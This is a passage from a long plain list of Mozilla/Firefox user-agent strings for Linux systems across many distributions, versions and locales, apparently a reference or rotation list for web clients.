i686; en-US; rv:1.8.1.16) Gecko/20080716 Firefox/3.07 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/6 (Felicia) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/7 (Gloria) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042812 Gentoo Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060310 Linux Mint/6 (Felicia) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070610 Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070812 Linux Mint/5 (Elyssa) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 FirePHP/0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090905 Fedora/3.0.14-1.fc10 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009091010 Firefox/3.0.14 (Debian-3.0.14-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/20090916 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.17) Gecko/2010010604 Ubuntu/9.04 (jaunty) Firefox/3.0.17 FirePHP/0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010091807 Firefox/3.0.6 (Debian-3.0.6-3) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1pre) Gecko/2008062222 Firefox/3.0.1pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008091816 Red Hat/3.0.2-3.el5 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092000 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/1.4.0 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092809 Gentoo Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008110715 ASPLinux/3.0.2-3.0.120asp Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3pre) Gecko/2008090713 Firefox/3.0.3pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.10 (intrepid) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4pre) Gecko/2008101311 Firefox/3.0.4pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121622 Linux Mint/6 (Felicia) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121718 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121914 Ubuntu/8.04 (hardy) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2009011301 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc10 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc9 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020518 Ubuntu/9.04 (jaunty) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020616 Gentoo Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.04 (hardy) Firefox/3.0.6 FirePHP/0.2.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022111 Gentoo Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022714 Ubuntu/9.04 (jaunty) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032018 Firefox/3.0.4 (Debian-3.0.6-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009041408 Red Hat/3.0.9-1.el5 Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Linux Mint/6 (Felicia) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090701 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Slackware/13.0 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2pre) Gecko/20090729 Ubuntu/9.04 (jaunty) Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090912 Gentoo Firefox/3.5.3 FirePHP/0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090919 Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.4) Gecko/20091028 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.6) Gecko/20100118 Gentoo Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100315 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3) Gecko/20090407 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 FirePHP/0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Ubuntu/10.04 (lucid) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100128 Gentoo Firefox/3.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.1) Gecko/20100122 firefox/3.6.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.04 (jaunty) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100312 Ubuntu/9.04 (jaunty) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100404 Ubuntu/10.04 (lucid) Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.4) Gecko/20100625 Gentoo Firefox/3.6.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.7) Gecko/20100726 CentOS/3.6-3.el5.centos Firefox/3.6.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100727 Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060814 Firefox/3.0a1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3) Gecko/2008020513 Firefox/3.0b3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008010415 Firefox/3.0b -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008020507 Firefox/3.0b3pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4) Gecko/2008031317 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021712 Firefox/3.0b4pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021714 Firefox/3.0b4pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008040318 Firefox/3.0pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-us; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Linux Mint/5 (Elyssa) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060309 Linux Mint/5 (Elyssa) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060310 Ubuntu/8.10 (intrepid) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.14) Gecko/2009090216 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 GTB6 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.7) Gecko/20091222 SUSE/3.5.7-1.1.1 Firefox/3.5.7 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.13) Gecko/20101206 Ubuntu/9.10 (karmic) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; eu; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1.2 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.13) Gecko/2009080315 Linux Mint/6 (Felicia) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.0.5) Gecko/2008123017 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; fr-be; rv:1.9.0.8) Gecko/2009073022 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.03 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009031218 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 -Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.10) Gecko/2009042718 CentOS/3.0.10-1.el5.centos Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 FirePHP/0.2.4 -Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-1.fc12 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9) Gecko/2008061015 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc10 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.4) Gecko/2008111217 Red Hat Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9) Gecko/2008061015 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060309 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092700 SUSE/3.0.3-2.2 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.4) Gecko/20081031100 SUSE/3.0.4-4.6 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121300 SUSE/3.0.5-0.1 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121622 Slackware/2.6.27-PiP Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030422 Kubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc10 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b4) Gecko/2008030800 SUSE/2.9.94-4.2 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.1.2) Gecko/20090804 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.2a1pre) Gecko/20090405 Ubuntu/9.04 (jaunty) Firefox/3.6a1pre -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9) Gecko/2008061812 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.3) Gecko/20091020 Ubuntu/9.10 (karmic) Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.3a5pre) Gecko/20100526 Firefox/3.7a5pre -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/2008080808 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/20080810020329 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9) Gecko/2008061015 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.0.5) Gecko/2008121621 Ubuntu/8.04 (hardy) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.1) Gecko/20090630 Fedora/3.5-1.fc11 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.6) Gecko/20091216 Fedora/3.5.6-1.fc11 Firefox/3.5.6 GTB6 -Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.2.8) Gecko/20100722 Ubuntu/10.04 (lucid) Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.04 (hardy) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux ia64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux ppc; en-GB; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x64_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86; es-ES; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64) Gecko/2008072820 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.7) Gecko/20100106 Ubuntu/9.10 (karmic) Firefox/3.5.7 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 